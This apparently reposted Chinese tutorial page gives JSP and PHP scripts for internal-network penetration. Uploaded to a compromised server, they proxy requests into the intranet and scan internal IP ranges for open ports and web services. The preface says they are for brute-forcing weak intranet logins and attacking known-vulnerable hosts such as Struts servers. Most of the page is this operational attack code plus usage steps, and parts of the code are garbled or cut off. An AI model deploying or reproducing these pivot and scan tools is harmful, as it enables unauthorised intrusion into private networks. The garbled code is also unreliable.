0

0

内网探测脚本(内网代理访问+内网端口扫描) [php+jsp]_html/css_WEB-ITnose

php中文网

php中文网

发布时间:2016-06-21 08:52:21

|

1789人浏览过

|

来源于php中文网

原创

前言: 某些情况下,内网渗透时,代理出不来,工具传上去被杀,总之就是遇到各种问题。而最过纠结的时,我已经知道内网哪台机器有洞了..(经验多的大神飘过,如果能解决某些内网渗透时遇到的坑的问题,求分享解决方法..)

功能: 代理访问虽然是个简单的功能,但是我觉得够用了。完全可以用来直接扫描内网其他web服务器的目录,尝试内网其其他登陆入口的弱口令,或者直接代理打struts或者其他漏洞。

web扫描: 其实我觉得用web发现更加贴切,其实有了端口扫描为啥还要这个.(因为之前的代码不想动它了。)

端口扫描: 大家都懂。(此功能问题较多,我觉得如果能使用工具或者代理回来就尽量不使用此脚本进行扫描。)

立即学习PHP免费学习笔记(深入)”;

<%@page import="java.io.File"%><%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%><%@ page isThreadSafe="false"%><%@page import="java.net.*"%><%@page import="java.io.PrintWriter"%><%@page import="java.io.BufferedReader"%><%@page import="java.io.FileReader"%><%@page import="java.io.FileWriter"%><%@page import="java.io.OutputStreamWriter"%><%@page import="java.util.regex.Matcher"%><%@page import="java.io.IOException"%><%@page import="java.net.InetAddress"%><%@page import="java.util.regex.Pattern"%><%@page import="java.net.HttpURLConnection"%><%@page import="java.util.concurrent.LinkedBlockingQueue"%><%!final static List list = new ArrayList();    String referer = "";    String cookie = "";    String decode = "utf-8";    int thread = 100;    //final static List scanportlist = new ArrayList();    String cpath="";    //建立一个HTTP连接    HttpURLConnection getHTTPConn(String urlString) {        try {            java.net.URL url = new java.net.URL(urlString);            java.net.HttpURLConnection conn = (java.net.HttpURLConnection) url                    .openConnection();            conn.setRequestMethod("GET");            conn.addRequestProperty("User-Agent",                    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon;)");            conn.addRequestProperty("Accept-Encoding", "gzip");            conn.addRequestProperty("referer", referer);            conn.addRequestProperty("cookie", cookie);            //conn.setInstanceFollowRedirects(false);            conn.setConnectTimeout(3000);            conn.setReadTimeout(3000);            return conn;        } catch (Exception e) {            return null;        }    }    String PostData(String urlString, String postString) {        HttpURLConnection http = null;        String response = null;        try {            java.net.URL url = new java.net.URL(urlString);            http = (HttpURLConnection) url.openConnection();            http.setDoInput(true);            http.setDoOutput(true);            http.setUseCaches(false);            http.setConnectTimeout(50000);            http.setReadTimeout(50000);            http.setRequestMethod("POST");            http.setRequestProperty("Content-Type",                    "application/x-www-form-urlencoded");            http.connect();            OutputStreamWriter osw = new OutputStreamWriter(                    http.getOutputStream(), decode);            osw.write(postString);            osw.flush();            osw.close();            response = getHtmlByInputStream(http.getInputStream(), decode);        } catch (Exception e) {            response = getHtmlByInputStream(http.getErrorStream(), decode);        }        return response;    }    HttpURLConnection conn;    //从输入流中读取源码    String getHtmlByInputStream(java.io.InputStream is, String code) {        StringBuffer html = new StringBuffer();        try {            java.io.InputStreamReader isr = new java.io.InputStreamReader(is,                    code);            java.io.BufferedReader br = new java.io.BufferedReader(isr);            String temp;            while ((temp = br.readLine()) != null) {                if (!temp.trim().equals("")) {                    html.append(temp).append("\n");                }            }            br.close();            isr.close();        } catch (Exception e) {            System.out.print(e.getMessage());        }        return html.toString();    }    //获取HTML源码    String getHtmlContext(HttpURLConnection conn, String decode,boolean isError) {        Map result = new HashMap();        String code = "utf-8";        if (decode != null) {            code = decode;        }        try {            return getHtmlByInputStream(conn.getInputStream(), code);        } catch (Exception e) {            try {            if(isError){               return getHtmlByInputStream(conn.getErrorStream(), code);            }            } catch (Exception e1) {                System.out.println("getHtmlContext2:" + e.getMessage());            }            System.out.println("getHtmlContext:" + e.getMessage());            return "null";        }    }    //获取Server头    String getServerType(HttpURLConnection conn) {        try {            return conn.getHeaderField("Server");        } catch (Exception e) {            return "null";        }    }    //匹配标题    String getTitle(String htmlSource) {        try {            List list = new ArrayList();            String title = "";            Pattern pa = Pattern.compile(".*?");            Matcher ma = pa.matcher(htmlSource);            while (ma.find()) {                list.add(ma.group());            }            for (int i = 0; i < list.size(); i++) {                title = title + list.get(i);            }            return title.replaceAll("<.*?>", "");        } catch (Exception e) {            return null;        }    }    //得到css    List getCss(String html, String url, String decode) {        List cssurl = new ArrayList();        List csscode = new ArrayList();        try {            String title = "";            Pattern pa = Pattern.compile(".*href=\"(.*)[.]css");            Matcher ma = pa.matcher(html.toLowerCase());            while (ma.find()) {                cssurl.add(ma.group(1) + ".css");            }            for (int i = 0; i < cssurl.size(); i++) {                String cssuuu = url + "/" + cssurl.get(i);                String csshtml = "";                csscode.add(csshtml);            }        } catch (Exception e) {            System.out.println("getCss:" + e.getMessage());        }        return csscode;    }    //域名解析成IP    String getMyIPLocal() throws IOException {        InetAddress ia = InetAddress.getLocalHost();        return ia.getHostAddress();    }                boolean getHostPort(String task){        Socket client = null;        boolean isOpen=false;        try{             String[] s=task.split(":");             client = new Socket(s[0], Integer.parseInt(s[1]));             isOpen=true;             System.out.println("getHostPort:"+task);             //scanportlist.add(task+" >>> Open");             saveScanReslt2(task+" >>> Open\r\n");        }catch(Exception e){             isOpen=false;        }        return isOpen;    }        void getPath(String path){    cpath=path;    }    /*  void saveScanReslt(String s){    try{    FileUtils.writeStringToFile(new File(cpath+"/port.txt"), s,"UTF-8",true);    }catch(Exception e){    System.out.print(e.getLocalizedMessage());    }    } */         void saveScanReslt2(String content) {           FileWriter writer = null;          try {                 writer = new FileWriter(cpath+"/port.txt", true);                 writer.write(content);               } catch (IOException e) {                System.out.print(e.getLocalizedMessage());           } finally {                 try {                     if(writer != null){                      writer.close();                     }              } catch (IOException e) {                   System.out.print(e.getLocalizedMessage());               }             }       }                String s="Result:
"; String readPortResult(String portfile){ File file = new File(portfile); BufferedReader reader = null; try { System.out.println(""); reader = new BufferedReader(new FileReader(file)); String tempString = null; while ((tempString = reader.readLine()) != null) { s+=tempString+"
"; } reader.close(); } catch (IOException e) { return null; } finally { if (reader != null) { try { reader.close(); } catch (IOException e1) { return null; } } } return s; } %>内网简单扫描脚本

代理访问 Web扫描 端口扫描

Url:

Method: Decode:

Referer:


<% final JspWriter pwx = out; String s = application.getRealPath("/") + "/port.txt"; String result = readPortResult(s); if (result != null) { try { pwx.println(result); } catch (Exception e) { System.out.print(e.getMessage()); } }else{ pwx.println("如果你进行了端口扫描操作,那么这里将会显示扫描结果!
"); } String div1 = "
"; String div2 = "
"; String u = request.getParameter("url"); String ip = request.getParameter("ip"); String scanip = request.getParameter("scanip"); if (u != null) { String post = request.getParameter("post"); //System.out.print(u); //System.out.print(post); decode = request.getParameter("decode"); String ref = request.getParameter("referer"); String cook = request.getParameter("cookie"); if (ref != null) { referer = ref; } if (cook != null) { cookie = cook; } String html = null; if (post != null) { html = PostData(u, post); } else { html = getHtmlContext(getHTTPConn(u), decode, true); } String path = request.getContextPath()+"/netspy.jsp"; System.out.println("path:"+path); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"?url="; System.out.println("base:"+basePath); String reaplce = "href=\""+basePath; //html=html.replaceAll("href=['|\"]?http://(.*)['|\"]?", reaplce+"http://$1\""); html = html.replaceAll("href=['|\"]?(?!http)(.*)['|\"]?", reaplce + u + "$1"); List css = getCss(html, u, decode); String csshtml = ""; if (!html.equals("null")) { for (int i = 0; i < css.size(); i++) { csshtml += css.get(i); } out.print(div1 + html + csshtml + div2); } else { response.setStatus(HttpServletResponse.SC_NOT_FOUND); out.print("请求失败!"); } return; } else if (ip != null) { String threadpp = (request.getParameter("thread")); String[] port = request.getParameter("port").split(","); if (threadpp != null) { thread = Integer.parseInt(threadpp); System.out.println(threadpp); } try { try { String http = "http://"; String localIP = getMyIPLocal(); if (ip != null) { localIP = ip; } String useIP = localIP.substring(0, localIP.lastIndexOf(".") + 1); final Queue queue = new LinkedBlockingQueue(); for (int i = 1; i <= 256; i++) { for (int j = 0; j < port.length; j++) { String url = http + useIP + i + ":" + port[j]; queue.offer(url); System.out.print(url); } } final JspWriter pw = out; ThreadGroup tg = new ThreadGroup("c"); for (int i = 0; i < thread; i++) { new Thread(tg, new Runnable() { public void run() { while (true) { String addr = queue.poll(); if (addr != null) { System.out.println(addr); HttpURLConnection conn = getHTTPConn(addr); String html = getHtmlContext(conn, decode, false); String title = getTitle(html); String serverType = getServerType(conn); String status = !html .equals("null") ? "Success" : "Fail"; if (html != null && !status.equals("Fail")) { try { pw.println(addr + " >> " + title + ">>" + serverType + " >>" + status + "
"); } catch (Exception e) { e.printStackTrace(); } } } else { return; } } } }).start(); } while (tg.activeCount() != 0) { } } catch (Exception e) { e.printStackTrace(); } } catch (Exception e) { out.println(e.toString()); } } else if (scanip != null) { getPath(application.getRealPath("/")); int thread = Integer.parseInt(request.getParameter("thread")); String[] port = request.getParameter("scanport").split(","); String ip1 = scanip; String ip2 = request.getParameter("scanip2"); int start = Integer.parseInt(ip1.substring( ip1.lastIndexOf(".") + 1, ip1.length())); int end = Integer.parseInt(ip2.substring( ip2.lastIndexOf(".") + 1, ip2.length())); String useIp = scanip.substring(0, scanip.lastIndexOf(".") + 1); System.out.println("start:" + start); System.out.println("end:" + end); final Queue queue = new LinkedBlockingQueue(); for (int i = start; i <= end; i++) { for (int j = 0; j < port.length; j++) { String scantarget = useIp + i + ":" + port[j]; queue.offer(scantarget); //System.out.println(scantarget); } } System.out.print("Count1:" + queue.size()); final JspWriter pw = out; ThreadGroup tg = new ThreadGroup("c"); for (int i = 0; i < thread; i++) { new Thread(tg, new Runnable() { public void run() { while (true) { String scantask = queue.poll(); if (scantask != null) { getHostPort(scantask); /* String result = null; if(isOpen){ result=scantask+ " >>> Open
"; scanportlist.add(result); System.out.println(result); } */ /* try { pw.println(result); } catch (Exception e) { System.out.print(e.getMessage()); } */ } } } }).start(); } /* while (tg.activeCount() != 0) { } */ try { pw.println("扫描线程已经开始,请查看" + cpath+"/port.txt文件或者直接刷新本页面!"); } catch (Exception e) { System.out.print(e.getMessage()); } }%>

前些天看到wooyun社区有人发的jsp内网探测脚本,可以内网代理访问和内网端口扫描。但是却没找到php的既能代理内网,又能扫描内网端口的的脚本。所以我写了这个集合版本的php内网探测脚本。

';@ob_flush();@flush(); } }}echo '
Timeout
';if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){ $startip=$_POST['startip'];$endip=$_POST['endip'];$timeout=$_POST['timeout'];$port=$_POST['port'];$portarr=explode(',',$port);$siparr=explode('.',$startip);$eiparr=explode('.',$endip);$ciparr=$siparr;if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){exit('IP error: Wrong IP address or Trying to scan class A address');}if($startip==$endip){echo 'Scanning IP '.$startip.'
';@ob_flush();@flush();scanip($startip,$timeout,$portarr);@ob_flush();@flush();exit();} if($eiparr[3]!=255){$eiparr[3]+=1;}while($ciparr!=$eiparr){$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];echo '
Scanning IP '.$ip.'
';@ob_flush();@flush();scanip($ip,$timeout,$portarr);$ciparr[3]+=1; if($ciparr[3]>255){$ciparr[2]+=1;$ciparr[3]=0;}if($ciparr[2]>255){$ciparr[1]+=1;$ciparr[2]=0;}}}/*内网代理代码*/function getHtmlContext($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, TRUE); //表示需要response header curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_TIMEOUT, 120); $result = curl_exec($ch); global $header; if($result){ $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $header = explode("\r\n",substr($result, 0, $headerSize)); $body = substr($result, $headerSize); } if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') { return $body; } if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') { $location = getHeader("Location"); if(strpos(getHeader("Location"),'http://') == false){ $location = getHost($url).$location; } return getHtmlContext($location); } return NULL; } function getHost($url){ preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches); return $matches[0]; } function getCss($host,$html){ preg_match_all("//i",$html, $matches); foreach($matches[1] as $v){ $cssurl = $v; if(strpos($v,'http://') == false){ $cssurl = $host."/".$v; } $csshtml = ""; $html .= $csshtml; } return $html; } if($url != null){ $host = getHost($url); echo getCss($host,getHtmlContext($url)); }?>

用法:

1、端口扫描部分:

填好起始ip、结束ip、自定义端口、超时等,点击扫描即可,十分方便

立即学习PHP免费学习笔记(深入)”;

2、内网代理部分:直接在文件后面加url参数,注意这里要带着http协议,不然可能css加载不完

立即学习PHP免费学习笔记(深入)”;

from

http://jeary.org/post-69.html

http://www.answ.cc/?post=18

标签:端口扫描, 内网 , 代理 , 端口

PHP速学教程(入门到精通)
PHP速学教程(入门到精通)

PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
C++ 设计模式与软件架构
C++ 设计模式与软件架构

本专题深入讲解 C++ 中的常见设计模式与架构优化,包括单例模式、工厂模式、观察者模式、策略模式、命令模式等,结合实际案例展示如何在 C++ 项目中应用这些模式提升代码可维护性与扩展性。通过案例分析,帮助开发者掌握 如何运用设计模式构建高质量的软件架构,提升系统的灵活性与可扩展性。

9

2026.01.30

c++ 字符串格式化
c++ 字符串格式化

本专题整合了c++字符串格式化用法、输出技巧、实践等等内容,阅读专题下面的文章了解更多详细内容。

9

2026.01.30

java 字符串格式化
java 字符串格式化

本专题整合了java如何进行字符串格式化相关教程、使用解析、方法详解等等内容。阅读专题下面的文章了解更多详细教程。

12

2026.01.30

python 字符串格式化
python 字符串格式化

本专题整合了python字符串格式化教程、实践、方法、进阶等等相关内容,阅读专题下面的文章了解更多详细操作。

3

2026.01.30

java入门学习合集
java入门学习合集

本专题整合了java入门学习指南、初学者项目实战、入门到精通等等内容,阅读专题下面的文章了解更多详细学习方法。

20

2026.01.29

java配置环境变量教程合集
java配置环境变量教程合集

本专题整合了java配置环境变量设置、步骤、安装jdk、避免冲突等等相关内容,阅读专题下面的文章了解更多详细操作。

18

2026.01.29

java成品学习网站推荐大全
java成品学习网站推荐大全

本专题整合了java成品网站、在线成品网站源码、源码入口等等相关内容,阅读专题下面的文章了解更多详细推荐内容。

19

2026.01.29

Java字符串处理使用教程合集
Java字符串处理使用教程合集

本专题整合了Java字符串截取、处理、使用、实战等等教程内容,阅读专题下面的文章了解详细操作教程。

3

2026.01.29

Java空对象相关教程合集
Java空对象相关教程合集

本专题整合了Java空对象相关教程,阅读专题下面的文章了解更多详细内容。

6

2026.01.29

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号